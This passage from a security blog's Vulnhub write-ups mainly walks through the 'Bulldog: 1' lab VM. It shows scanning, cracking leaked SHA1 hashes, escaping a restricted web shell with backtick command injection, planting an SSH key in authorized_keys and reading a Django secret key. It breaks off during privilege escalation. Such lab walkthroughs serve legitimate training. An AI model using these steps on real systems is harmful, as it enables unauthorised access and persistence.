<span class="w"> </span><span class="n">TX</span><span class="w"> </span><span class="n">packets</span><span class="p">:</span><span class="mi">6</span><span class="w"> </span><span class="n">errors</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">dropped</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">overruns</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">carrier</span><span class="p">:</span><span class="mi">0</span>
<span class="w"> </span><span class="n">collisions</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">lg</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">transmission</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span>
<span class="w"> </span><span class="n">RX</span><span class="w"> </span><span class="n">bytes</span><span class="p">:</span><span class="mi">504</span><span class="w"> </span><span class="p">(</span><span class="mf">504.0</span><span class="w"> </span><span class="n">B</span><span class="p">)</span><span class="w"> </span><span class="n">TX</span><span class="w"> </span><span class="n">bytes</span><span class="p">:</span><span class="mi">504</span><span class="w"> </span><span class="p">(</span><span class="mf">504.0</span><span class="w"> </span><span class="n">B</span><span class="p">)</span>
<span class="n">PING</span><span class="w"> </span><span class="n">localhost</span><span class="w"> </span><span class="p">(</span><span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="p">)</span><span class="w"> </span><span class="mi">56</span><span class="p">(</span><span class="mi">84</span><span class="p">)</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">data</span><span class="o">.</span>
<span class="mi">64</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="n">localhost</span><span class="w"> </span><span class="p">(</span><span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="p">):</span><span class="w"> </span><span class="n">icmp_seq</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="n">ttl</span><span class="o">=</span><span class="mi">64</span><span class="w"> </span><span class="n">time</span><span class="o">=</span><span class="mf">0.012</span><span class="w"> </span><span class="n">ms</span>
<span class="o">---</span><span class="w"> </span><span class="n">localhost</span><span class="w"> </span><span class="n">ping</span><span class="w"> </span><span class="n">statistics</span><span class="w"> </span><span class="o">---</span>
<span class="mi">1</span><span class="w"> </span><span class="n">packets</span><span class="w"> </span><span class="n">transmitted</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">received</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="o">%</span><span class="w"> </span><span class="n">packet</span><span class="w"> </span><span class="n">loss</span><span class="p">,</span><span class="w"> </span><span class="n">time</span><span class="w"> </span><span class="mi">0</span><span class="n">ms</span>
<span class="n">rtt</span><span class="w"> </span><span class="nb">min</span><span class="o">/</span><span class="n">avg</span><span class="o">/</span><span class="nb">max</span><span class="o">/</span><span class="n">mdev</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0.012</span><span class="o">/</span><span class="mf">0.012</span><span class="o">/</span><span class="mf">0.012</span><span class="o">/</span><span class="mf">0.000</span><span class="w"> </span><span class="n">ms</span>
<span class="n">Done</span><span class="w"> </span>
<span class="n">echo</span><span class="w"> </span><span class="n">linux</span><span class="w"> </span><span class="k">tool</span><span class="w"> </span><span class="n">version</span><span class="w"> </span><span class="mi">5</span>
<span class="n">Vous</span><span class="w"> </span><span class="n">avez</span><span class="w"> </span><span class="n">du</span><span class="w"> </span><span class="n">nouveau</span><span class="w"> </span><span class="n">courrier</span><span class="w"> </span><span class="n">dans</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">mail</span><span class="o">/</span><span class="n">jimmy</span>
</code></pre></div>
<p>Getting the strings in the program give us the following:</p>
<div class="highlight"><pre><span></span><code><span class="n">jimmy</span><span class="err">@</span><span class="n">debian</span><span class="p">:</span><span class="o">~$</span><span class="w"> </span><span class="n">strings</span><span class="w"> </span><span class="n">networker</span><span class="w"> </span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
<span class="o">***</span><span class="w"> </span><span class="n">Networker</span><span class="w"> </span><span class="mf">2.0</span><span class="w"> </span><span class="o">***</span><span class="w"> </span>
<span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">ifconfig</span>
<span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">ping</span><span class="w"> </span><span class="o">-</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">localhost</span><span class="w"> </span>
<span class="n">Done</span><span class="w"> </span>
<span class="n">echo</span><span class="w"> </span><span class="s1">'echo linux tool version 5'</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
</code></pre></div>
<p>So <code>ping</code> and <code>ifconfig</code> seem to be loaded from an absolute path but not the <code>echo</code> command. We shall be able to
make our own echo binary and change the path to execute our binary (a reverse shell) instead of echo.</p>
<p>But the binary use the absolute path and we didn't achieve to be root.
Let me know if you were able to get root from there (no bruteforce on the hadi user :D).</p>
<p>Thanks to Hadi for the VM and thanks to vulnhub.</p>Vulnhub, Bulldog: 12017-11-10T19:10:00+01:002017-11-10T19:10:00+01:00maggicktag:maggick.fr,2017-11-10:/2017/11/vulnhub-bulldog-1.html<p><img alt="Bulldog homepage" class="align-left" src="/media/2017.11/1.png" width="162"/></p>
<p>At the moment I have some times to work again on Vulnhub virtual machine. So here I picked
the first one at the moment:
<a href="https://www.vulnhub.com/entry/bulldog-1,211/">Bulldog: 1</a>
A simple boot2root machine by <a href="https://twitter.com/frichette_n">Nick Frichette</a>.</p>
<p><img alt="Bulldog homepage" class="align-left" src="/media/2017.11/1.png" width="162"/></p>
<p>At the moment I have some times to work again on Vulnhub virtual machine. So here I picked
the first one at the moment:
<a href="https://www.vulnhub.com/entry/bulldog-1,211/">Bulldog: 1</a>
A simple boot2root machine by <a href="https://twitter.com/frichette_n">Nick Frichette</a>.</p>
<h2>Discovery</h2>
<p>The MOTD of the machine give us its IP address so we can directly launch a nmap at it:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# nmap -sSV 10.0.2.4
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-09 14:00 CET
Nmap scan report for 10.0.2.4
Host is up (0.00057s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
</code></pre></div>
<p>There is a ssh service running on port 23 and two web servers on port 80 and
8080. The server on both port seems to be the same and talks dogs photographies.</p>
<h2>Web</h2>
<p><img alt="Website screenshot" class="image-process-article-image" src="/media/2017.11/derivatives/article-image/1.png"/></p>
<p>We run <code>dirb</code> on the web server on the port 80:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~</span><span class="err">#</span><span class="w"> </span><span class="n">dirb</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span>
<span class="o">-----------------</span>
<span class="n">DIRB</span><span class="w"> </span><span class="n">v2</span><span class="mf">.22</span>
<span class="k">By</span><span class="w"> </span><span class="n">The</span><span class="w"> </span><span class="n">Dark</span><span class="w"> </span><span class="n">Raver</span>
<span class="o">-----------------</span>
<span class="nl">START_TIME</span><span class="p">:</span><span class="w"> </span><span class="n">Thu</span><span class="w"> </span><span class="n">Nov</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">14</span><span class="err">:</span><span class="mi">06</span><span class="err">:</span><span class="mi">31</span><span class="w"> </span><span class="mi">2017</span>
<span class="nl">URL_BASE</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span><span class="o">/</span>
<span class="nl">WORDLIST_FILES</span><span class="p">:</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">dirb</span><span class="o">/</span><span class="n">wordlists</span><span class="o">/</span><span class="n">common</span><span class="p">.</span><span class="n">txt</span>
<span class="o">-----------------</span>
<span class="n">GENERATED</span><span class="w"> </span><span class="nl">WORDS</span><span class="p">:</span><span class="w"> </span><span class="mi">4612</span>
<span class="o">----</span><span class="w"> </span><span class="n">Scanning</span><span class="w"> </span><span class="nl">URL</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span><span class="o">/</span><span class="w"> </span><span class="o">----</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span><span class="o">/</span><span class="k">admin</span><span class="o">/</span>
<span class="o">==></span><span class="w"> </span><span class="nl">DIRECTORY</span><span class="p">:</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span><span class="o">/</span><span class="n">dev</span><span class="o">/</span>
<span class="o">+</span><span class="w"> </span><span class="nl">http</span><span class="p">:</span><span class="o">//</span><span class="mf">10.0.2.4</span><span class="o">/</span><span class="n">robots</span><span class="p">.</span><span class="n">txt</span><span class="w"> </span><span class="p">(</span><span class="nl">CODE</span><span class="p">:</span><span class="mi">200</span><span class="o">|</span><span class="k">SIZE</span><span class="err">:</span><span class="mi">1071</span><span class="p">)</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
</code></pre></div>
<p>The result is the same on the port 8080</p>
<p>The admin page present a django login interface.</p>
<p><img alt="Django login page" class="image-process-article-image" src="/media/2017.11/derivatives/article-image/2.png"/></p>
<p>The dev page contain the link to a web-shell and contact information with some hashes in html comments <code>view-source:http://10.0.2.4/dev/</code>:</p>
<div class="highlight"><pre><span></span><code><span class="n">Team</span><span class="w"> </span><span class="nl">Lead</span><span class="p">:</span><span class="w"> </span><span class="n">alan</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="mi">6515229</span><span class="n">daf8dbdc8b89fed2e60f107433da5f2cb</span><span class="o">--></span>
<span class="n">Back</span><span class="o">-</span><span class="n">up</span><span class="w"> </span><span class="n">Team</span><span class="w"> </span><span class="nl">Lead</span><span class="p">:</span><span class="w"> </span><span class="n">william</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="mi">38882</span><span class="n">f3b81f8f2bc47d9f3119155b05f954892fb</span><span class="o">--></span>
<span class="n">Front</span><span class="w"> </span><span class="k">End</span><span class="err">:</span><span class="w"> </span><span class="n">malik</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="n">c6f7e34d5d08ba4a40dd5627508ccb55b425e279</span><span class="o">--></span>
<span class="n">Front</span><span class="w"> </span><span class="k">End</span><span class="err">:</span><span class="w"> </span><span class="n">kevin</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="mf">0e6</span><span class="n">ae9fe8af1cd4192865ac97ebf6bda414218a9</span><span class="o">--></span>
<span class="n">Back</span><span class="w"> </span><span class="k">End</span><span class="err">:</span><span class="w"> </span><span class="n">ashley</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="mi">553</span><span class="n">d917a396414ab99785694afd51df3a8a8a3e0</span><span class="o">--></span>
<span class="n">Back</span><span class="w"> </span><span class="k">End</span><span class="err">:</span><span class="w"> </span><span class="n">nick</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="o">--</span><span class="n">ddf45997a7e18a25ad5f5cf222da64814dd060d5</span><span class="o">--></span>
<span class="k">Database</span><span class="err">:</span><span class="w"> </span><span class="n">sarah</span><span class="nv">@bulldogindustries</span><span class="p">.</span><span class="n">com</span><span class="o"><</span><span class="n">br</span><span class="o">><</span><span class="err">!</span><span class="c1">--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e--></span>
</code></pre></div>
<p>We launch john against the hashes:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kalili</span><span class="err">:</span><span class="o">~/</span><span class="n">bulldog</span><span class="err">#</span><span class="w"> </span><span class="n">john</span><span class="w"> </span><span class="n">hashes</span><span class="w"> </span><span class="o">--</span><span class="nf">format</span><span class="o">=</span><span class="n">Raw</span><span class="o">-</span><span class="n">SHA1</span>
<span class="k">Using</span><span class="w"> </span><span class="k">default</span><span class="w"> </span><span class="k">input</span><span class="w"> </span><span class="nl">encoding</span><span class="p">:</span><span class="w"> </span><span class="n">UTF</span><span class="o">-</span><span class="mi">8</span>
<span class="n">Loaded</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="n">hashes</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="k">no</span><span class="w"> </span><span class="n">different</span><span class="w"> </span><span class="n">salts</span><span class="w"> </span><span class="p">(</span><span class="n">Raw</span><span class="o">-</span><span class="n">SHA1</span><span class="w"> </span><span class="o">[</span><span class="n">SHA1 128/128 AVX 4x</span><span class="o">]</span><span class="p">)</span>
<span class="n">Press</span><span class="w"> </span><span class="s1">'q'</span><span class="w"> </span><span class="ow">or</span><span class="w"> </span><span class="n">Ctrl</span><span class="o">-</span><span class="n">C</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">abort</span><span class="p">,</span><span class="w"> </span><span class="n">almost</span><span class="w"> </span><span class="ow">any</span><span class="w"> </span><span class="n">other</span><span class="w"> </span><span class="k">key</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">status</span>
<span class="n">bulldog</span><span class="w"> </span><span class="p">(</span><span class="n">nick</span><span class="p">)</span>
<span class="mi">1</span><span class="n">g</span><span class="w"> </span><span class="mi">0</span><span class="err">:</span><span class="mi">00</span><span class="err">:</span><span class="mi">03</span><span class="err">:</span><span class="mi">32</span><span class="w"> </span><span class="mi">3</span><span class="o">/</span><span class="mi">3</span><span class="w"> </span><span class="mf">0.004714</span><span class="n">g</span><span class="o">/</span><span class="n">s</span><span class="w"> </span><span class="mi">12965</span><span class="n">Kp</span><span class="o">/</span><span class="n">s</span><span class="w"> </span><span class="mi">12965</span><span class="n">Kc</span><span class="o">/</span><span class="n">s</span><span class="w"> </span><span class="mi">77831</span><span class="n">KC</span><span class="o">/</span><span class="n">s</span><span class="w"> </span><span class="n">hmj359t</span><span class="p">..</span><span class="n">hmj359l</span>
</code></pre></div>
<p>Nick use a weak password and it can be used to login into the Django admin interface but he has no access.</p>
<p>[/media/2017.11/3.png]</p>
<p>Nevertheless nick has access to the restricted web-shell</p>
<p>[/media/2017.11/4.png]</p>
<p>We can explore a bit, cat <code>/etc/passwd</code> but mostly we can access the django secret key in bulldog/settings.py</p>
<div class="highlight"><pre><span></span><code>cat bulldog/settings.py
<snip>
<span class="gh">#</span> SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '%9a3ph3iwk$v*_#x4ejg8(t5(qll0fl8q8&u+o_g$yi83d*riq'
<snip>o
</snip></snip></code></pre></div>
<p>And we can easily break out of the "jail" with the <code>echo</code> command:</p>
<div class="highlight"><pre><span></span><code><span class="n">echo</span><span class="w"> </span><span class="n n-Quoted">`id`</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">1001</span><span class="p">(</span><span class="n">django</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">1001</span><span class="p">(</span><span class="n">django</span><span class="p">)</span><span class="w"> </span><span class="k">groups</span><span class="o">=</span><span class="mi">1001</span><span class="p">(</span><span class="n">django</span><span class="p">),</span><span class="mi">27</span><span class="p">(</span><span class="n">sudo</span><span class="p">)</span>
</code></pre></div>
<p>Therefore we can create a directory <code>.ssh</code> inside the django user home:</p>
<div class="highlight"><pre><span></span><code>echo `mkdir /home/django/.ssh`
</code></pre></div>
<p>And then echo our ssh public key inside (you need to change the filed size with the firefox inspector):</p>
<div class="highlight"><pre><span></span><code>echo 'ssh-rsa AAAAB3Nt/<snip>'> /home/django/.ssh/authorized_keys
</snip></code></pre></div>
<p>Then we got an interactive shell with ssh:</p>
<div class="highlight"><pre><span></span><code>ssh -ldjango 10.0.2.4 -p23
</code></pre></div>
<h2>PrivEsc</h2>
<p>By looking more into the users directory we discover that we have a read access on djangoadmin
files and that a <code>.hiddenadmindirectory</code> is present with a note and an executable:</p>
<div class="highlight"><pre><span></span><code><span class="n">django</span><span class="nv">@bulldog</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">ahlR</span><span class="w"> </span><span class="o">/</span><span class="n">home</span>
<span class="o">/</span><span class="nl">home</span><span class="p">:</span>
<span class="n">total</span><span class="w"> </span><span class="mi">16</span><span class="n">K</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">18</span><span class="err">:</span><span class="mi">16</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">07</span><span class="w"> </span><span class="p">..</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Sep</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">19</span><span class="err">:</span><span class="mi">45</span><span class="w"> </span><span class="n">bulldogadmin</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="n">django</span><span class="w"> </span><span class="n">django</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Nov</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">09</span><span class="err">:</span><span class="mi">43</span><span class="w"> </span><span class="n">django</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="nl">bulldogadmin</span><span class="p">:</span>
<span class="n">total</span><span class="w"> </span><span class="mi">40</span><span class="n">K</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Sep</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">19</span><span class="err">:</span><span class="mi">45</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">18</span><span class="err">:</span><span class="mi">16</span><span class="w"> </span><span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mi">220</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">39</span><span class="w"> </span><span class="p">.</span><span class="n">bash_logout</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">3.7</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">39</span><span class="w"> </span><span class="p">.</span><span class="n">bashrc</span>
<span class="n">drwx</span><span class="o">------</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">40</span><span class="w"> </span><span class="p">.</span><span class="n">cache</span>
<span class="n">drwxrwxr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Sep</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">19</span><span class="err">:</span><span class="mi">44</span><span class="w"> </span><span class="p">.</span><span class="n">hiddenadmindirectory</span>
<span class="n">drwxrwxr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">18</span><span class="w"> </span><span class="p">.</span><span class="n">nano</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mi">655</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">39</span><span class="w"> </span><span class="p">.</span><span class="n">profile</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mi">66</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">18</span><span class="w"> </span><span class="p">.</span><span class="n">selected_editor</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">17</span><span class="err">:</span><span class="mi">45</span><span class="w"> </span><span class="p">.</span><span class="n">sudo_as_admin_successful</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mi">217</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="mi">18</span><span class="err">:</span><span class="mi">20</span><span class="w"> </span><span class="p">.</span><span class="n">wget</span><span class="o">-</span><span class="n">hsts</span>
<span class="nl">ls</span><span class="p">:</span><span class="w"> </span><span class="n">cannot</span><span class="w"> </span><span class="k">open</span><span class="w"> </span><span class="n">directory</span><span class="w"> </span><span class="s1">'/home/bulldogadmin/.cache'</span><span class="err">:</span><span class="w"> </span><span class="n">Permission</span><span class="w"> </span><span class="n">denied</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">bulldogadmin</span><span class="o">/</span><span class="p">.</span><span class="nl">hiddenadmindirectory</span><span class="p">:</span>
<span class="n">total</span><span class="w"> </span><span class="mi">24</span><span class="n">K</span>
<span class="n">drwxrwxr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Sep</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">19</span><span class="err">:</span><span class="mi">44</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">4.0</span><span class="n">K</span><span class="w"> </span><span class="n">Sep</span><span class="w"> </span><span class="mi">20</span><span class="w"> </span><span class="mi">19</span><span class="err">:</span><span class="mi">45</span><span class="w"> </span><span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="n">bulldogadmin</span><span class="w"> </span><span class="mf">8.6</span><span class="n">K</span><span class="w"> </span><span class="n">Aug</span><span class="w"> </span><span class="mi">25</span><span class="w"> </span><span class="mi">22</span><span class="err">:</span><span class="mi">18</span><span class="w"> </span><span class="n">customPermissionApp</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="c1">-- 1 bulldogadmin bulldogadmin 619 Sep 20 19:44 note</span>
</code></pre></div>
<h3>Reverse</h3>
<p>The note's content is the following:</p>
<div class="highlight"><pre><span></span><code><span class="nx">Nick</span><span class="p">,</span>
<span class="nx">I</span><span class="err">'</span><span class="nx">m</span><span class="w"> </span><span class="nx">working</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">backend</span><span class="w"> </span><span class="nx">permission</span><span class="w"> </span><span class="nx">stuff</span><span class="p">.</span><span class="w"> </span><span class="nx">Listen</span><span class="p">,</span><span class="w"> </span><span class="nx">it</span><span class="err">'</span><span class="nx">s</span><span class="w"> </span><span class="nx">super</span><span class="w"> </span><span class="nx">prototype</span><span class="w"> </span><span class="nx">but</span><span class="w"> </span><span class="nx">I</span><span class="w"> </span><span class="nx">think</span><span class="w"> </span><span class="nx">it</span><span class="err">'</span><span class="nx">s</span><span class="w"> </span><span class="nx">going</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">work</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="nx">great</span><span class="p">.</span><span class="w"> </span><span class="nx">Literally</span><span class="w"> </span><span class="nx">run</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">app</span><span class="p">,</span><span class="w"> </span><span class="nx">give</span><span class="w"> </span><span class="nx">your</span><span class="w"> </span><span class="nx">account</span><span class="w"> </span><span class="nx">password</span><span class="p">,</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="nx">it</span><span class="w"> </span><span class="nx">will</span><span class="w"> </span><span class="nx">determine</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">should</span><span class="w"> </span><span class="nx">have</span><span class="w"> </span><span class="nx">access</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">that</span><span class="w"> </span><span class="nx">file</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="k">not</span><span class="p">!</span>
